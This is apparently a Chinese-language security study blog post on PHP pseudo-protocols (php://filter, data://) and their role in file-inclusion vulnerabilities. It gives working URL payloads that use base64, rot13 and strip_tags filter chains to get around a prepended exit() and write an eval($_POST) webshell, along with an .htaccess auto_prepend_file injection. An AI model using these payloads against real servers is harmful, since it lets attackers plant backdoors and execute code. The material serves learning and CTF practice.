伪协议学习

学习

Posted by lll-yz on March 17, 2021

伪协议学习

慢慢积累,从平时学习….

伪协议常常出现在文件包含漏洞中。

在PHP中能够照成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile。

函数:

include():

​ 可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的流程进行简单化。当第二次遇到相同文件时,PHP还是会重新解释一次,include相对于require的执行效率下降很多,同时在引入文件中包含用户自定义函数时,PHP在解释过程中会发生函数重复定义问题。include载入成功后,返回1,失败则返回false。

require():

​ require函数一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当PHP中使用循环或条件语句来引入文件时,需要用到include。require载入成功返回1,失败无返回值。

include_once()、require_once():

​ 分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。

  • 以上四个函数包含一个新文件时,该文件将作为 PHP 代码执行,PHP 内核并不在意该被包含的文件是什么类型。所以如果被包含的是.txt图片文件远程url等也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。

highlight():

​ highlight_file() 函数对文件进行语法高亮显示。

​ 语法:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。

show_source():

​ 该函数是highlight_file函数的别名。

file_get_contents():

​ file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

file():

​ file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

fopen():

​ 打开一个文件或者URL。

readfile():

​ readfile() 函数读取一个文件,并写入到输出缓冲。

​ 如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。

filter:

1.PHP伪协议:

需要开启allow_url_fopen的:php://input, php://stdin, php://memory, php://temp

不需要开启allow_url_fopen的:php://filter

php://filter用于读取源码,php://input用于执行php代码。

php://input需要请求提交数据。

php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php 以base64编码读取xxx.php内容。

6cIBvt.md.png

  • 读取文件
//明文读取
index.php?file1=php://filter/resource=file.txt
//编码读取
index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt
  • 写入文件
//明文写入
index.php?file2=php://filter/resource=test.txt&txt=helloworld
//编码写入
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld

字符串过滤器:

string.rot13

(自 PHP 4.3.0 起) 使用此过滤器等同于用 str_rot13()函数处理所有的流数据。

  • str_rot13—对字符串执行ROT13转换。ROT13编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递应该编码过的字符串作为参数,将得到原始字符串。

string.toupper

(自 PHP 5.0.0 起) 使用此过滤器等同于用strtoupper()函数处理所有的流数据。

  • strtoupper—将字符串转化为大写。

string.tolower

(自 PHP 5.0.0 起) 使用此过滤器等同于用strrolower()函数处理所有的流数据。

  • strtolower—将字符串转化为小写。

string.strip_tags

使用此过滤器等同于用strip_tags()函数处理所有的数据流。可以用两种格式接收参数:一种和strip_tags()函数第二个参数相类似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。

  • strip_tags—从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

ciL0at.md.png

转换过滤器

convert.base64

convert.base64-encodeconvert.base64-decode使用这两个过滤器等同于分别用base64_encode() 和 base64_decode() 函数处理所有的数据流。convert.base64-encode 支持以一个关联数组给出的参数。如果给出了 line-length,base64 输出将被用 line-length 个字符为长度而截成快。如果给出了 line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用 base64_encode() 再加上 chunk_split() 相同。

convert.quoted

convert.quoted-printable-encodeconvert.quoted-printable-decode使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的数据流。没有和 convert.quoted-printable-encode 相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和 convert.base64-encode 一样的附加参数外,convert.quoted-printable-encode 还支持布尔参数 binary 和 force-encode-first。convert.base64-decode 只支持 line-break-chars 参数作为从编码载荷中剥离的类型提示。

convert.iconv.*

这个过滤器需要 php 支持 iconv ,而 iconv 是默认编译的。使用 convert.iconv.* 过滤器等同于用 iconv() 函数处理所有的流数据。

  • iconv — 字符串按要求的字符编码来转换 https://www.php.net/manual/en/filters.convert.php convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

cijZ28.png

支持的字符编码有以下几种:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII

文件包含

文件包含漏洞顾名思义:包含恶意代码或恶意内容达到一定的攻击效果。

在文件包含漏洞当中,因为 php://filter 可以对所有文件进行编码处理,所以常常可以使用php://filter来包含读取一些特殊敏感的文件。

死亡绕过

bypass不同变量

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分 常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上 if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不 能识别该部分就可以了。

这里的$_GET[‘filename’]是可以控制协议的。

base64绕过

base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有=符号作为后缀识别作用。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这 些字符,仅将合法字符组成一个新的字符串进行解码。

当$content被加上了以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以 最终被解码的字符仅有phpexit和我们传入的其他字符。

由于,phpexi一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加 一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64 字符串也会被成功解码为php代码。

payload:

?filename=php://filter/convert.base64-
decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

rot13绕过

利用php://filter中string.rot13过滤器去除exit。string.rot13的特性是编码和解码都是自身完成,利用 这一特性可以去除exit。<?php exit;在经过rot13编码后会变成<?cuc rkvg();,不过这种利用手法的前提是PHP不开启short_open_tag。

cixx2V.md.png

虽然官方说的默认开启,但是在php.ini中默认是注释掉的,也就是说它还是默认关闭。

<?php eval($_POST[a]); rot13编码后<?cuc riny($_CBFG[n]);

payload:

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc
riny($_CBFG[n]);

string.strip_tags

strip_tags — 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

cFdcUf.md.png

这样的话不仅去除了<?php exit(); ?>也会将我们的webshell过滤,但我们可以使用多个过滤器进行绕过这个限制。(php://filter允许通过 使用多个过滤器)
1、webshell用base64编码 //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell

payload:

?filename=php://filter/write=string.strip_tags|convert.base64-
decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

base64编码的字符串为:

<?php eval($_POST[a]);

.htaccess的预包含利用

  • 基本概念:

.htaccess文件提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过ApacheAllowOverride指令来设置。

.htaccess中有#单行注释,且支持\拼接上下两行。

  • 作用范围:

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

详细–>https://xz.aliyun.com/t/8267

PHP中auto_prepend_file与auto_append_file用法实例分析:https://www.jb51.net/article/55468.html

payload:

?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file%20"/flag"

bypass相同变量

<?php
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

这种情况下写入的文件,其文件名和文件部分内容一致,这就导致利用的难度大大增加了,不过最终目 的还是相同的:都是为了去除文件头部内容exit这个关键代码写入shell后门。

base64

构造:

content=php://filter/convert.base64-
decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php
或
content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

进行拼接之后就是 <?php exit();php://filter/convert.base64- decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php 然后会对其进行一次整体的 base64-decode 。 从而分解掉死亡代码,但是无法生成content;虽然文件创建成功,但是就是无法生成content。问题在于resource 后边的 ==在base64中的作用是填充,也就是以为着结束;在=的后面是不允许有任何其他字符的否则会报错。

这里因为是由于=从而使得我们写入content不成功,那么我们可以想个方法去掉等号即可。

data协议:

​ php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。

​ 使用方法:data://text/plain;base64,xxxx(base64编码后的数据)。

​ data伪协议只有在php<5.3且include=on时可以写木马。

cbby9A.png